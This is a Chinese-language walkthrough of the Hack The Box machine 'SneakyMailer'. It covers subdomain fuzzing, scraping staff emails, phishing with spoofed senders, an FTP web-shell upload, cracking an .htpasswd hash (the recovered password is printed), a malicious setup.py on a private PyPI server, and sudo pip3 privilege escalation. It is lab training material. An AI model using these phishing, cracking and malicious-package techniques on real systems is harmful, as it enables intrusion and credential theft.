- NAME:SneakyMailer
- IP: 10.10.10.197
- Difficulty:Medium
0x01 信息收集
NMAP
1 | namp -p- sneakycorp.htb |
directory busting
1 | http://sneakycorp.htb |
Subdomain burting
1 | wfuzz -c -w /opt/useful/SecLists/Discovery/DNS/subdomains-top1million-20000.txt --hl 7 -H "Host: FUZZ.sneakycorp.htb" -u http://sneakycorp.htb -t 100 |
发现dev
子域名
smtp
1 | EHLO localhost |
EHLO 和VRFY都能用,但是禁用了AUTH 所以爆破也没用,尝试了一下也能直接发送邮件(伪造发件人(钓鱼可能性微存。。
IMAP
这个也是,,直接nc进去不能登陆。估计得用专门的邮件客户端。
ftp
匿名用户登陆失败。
http
访问http://sneakycorp.htb 我们可以知道目标的邮件后缀
- sneakymailer.htb
从前面发现的dev的子域名,访问后,左侧多了一个注册按钮,点击后跳转注册页面,也就是前面目录扫描/pypi/扫到的,但是提交没反应。
http-8080
就一个nginx
默认页面
0x02 漏洞利用
smtp 钓鱼邮件
手写了一个python
脚本来发送邮件,先提取所有的邮件地址。
1 | curl http://dev.sneakycorp.htb/team.php |grep -oE '<td>.*@sneakymailer.htb</td>' > emails.txt |
Python发送邮件代码如下,发送之前记得先开个nc监听1234端口((为什么不用sweak啊,因为没用过啊。
1 | import smtplib |
解码之后
1 | firstName=Paul |
在邮件中找到一个账号密码,从另外一封邮件,我们得知这个服务器上面有pypi
服务。。并且low这人要安装测试。。
1 | Username: developer |
ftp 获取立足点
用邮件拿到的凭证测试之后能登陆ftp,但是不能登陆ssh。
看起来是dev子域名的根目录,不过没关系。我们可以直接传shell了,
这靶机也是有脚本自动恢复环境的。所以上传之后要尽快getshell
0x03 提权
用以下代码打开一个pty
1 | python3 -c 'import pty;pty.spawn("/bin/bash")' |
用邮箱找到的密码能切换用户。
接着在/var/www/
下发现一个新的网站目录,子域名,并且在里面的.htpasswd
看到了一个账号。
1 | pypi:$apr1$RV5c5YVs$U9.OTqF5n8K4mxWpSSR/p/ |
用john
爆破就好了
1 | sudo john --wordlist=/usr/share/wordlists/rockyou.txt pypi.apr |
1 | pypi:soufianeelhaoui |
尝试访问下5000端口的服务。
1 | curl -v http://127.0.0.1:5000/ |
5000端口上的服务就是目标私有pypi源服务。
访问看看有什么包
1 | curl -v http://127.0.0.1:5000/simple/ -u "pypi:soufianeelhaoui" |
两个目录都是空的。邮件里面说low
用户要对pypi
模块进行测试,安装。所以猜测有个定时任务或者后台程序之类的东西。
1 | ps -ef|grep low |
1 | low 1071 1 0 07:58 ? 00:00:06 /home/low/venv/bin/python /opt/scripts/low/install-modules.py |
果然。。有个安装模块的脚本。不过看不了源码,目录权限写死了。
上传py模块包-提权 low
然后两个标准的文件.pypirc
和setup.py
.pypirc文件
1 | [distutils] |
恶意setup.py
1 | from setuptools import setup, find_packages |
在执行上传之前,先修改下当前用户的家目录,改成.pypirc所在的目录。为什么要修改呢,就如前面说所这个文件默认就是在家目录,不管是www-data
用户还是dev
用户,他们的家目录都在/var/www
下,他们还没创建文件的权限。所以改个环境变量到tmp下再创建。
1 | echo $HOME |
1 | python3 setup.py sdist register -r local upload -r local |
提权至root
已经成功越权到low用户了,再次执行下信息收集脚本。
能sudo pip3
。。最喜欢这种了。。不过我一开是用GTFOBins给的提权命令,但是不能成功。(不过如果先开个python pty的话就可以成功。
1 | TF=$(mktemp -d) |
然后用回了一开始越权到low用户的setup.py脚本改了下端口。
1 | sudo pip3 install . --upgrade --force-reinstall |
R O O T E D !
0x04 总结
难,是真的难。如果没有接触过pypi的话,是真的麻烦。一开始的邮件钓鱼,也是很秀。万万没想到,拿立足点竟然比root还要难。不过在这个靶机也学到了很多,比如怎么上传py包到pypi源,简单的钓鱼邮件利用,收获还是很多的,文章中可能有许多错误或语法不通顺的地方,还请各位大佬多多谅解,有什么问题欢迎私信找我交流。
参考文章: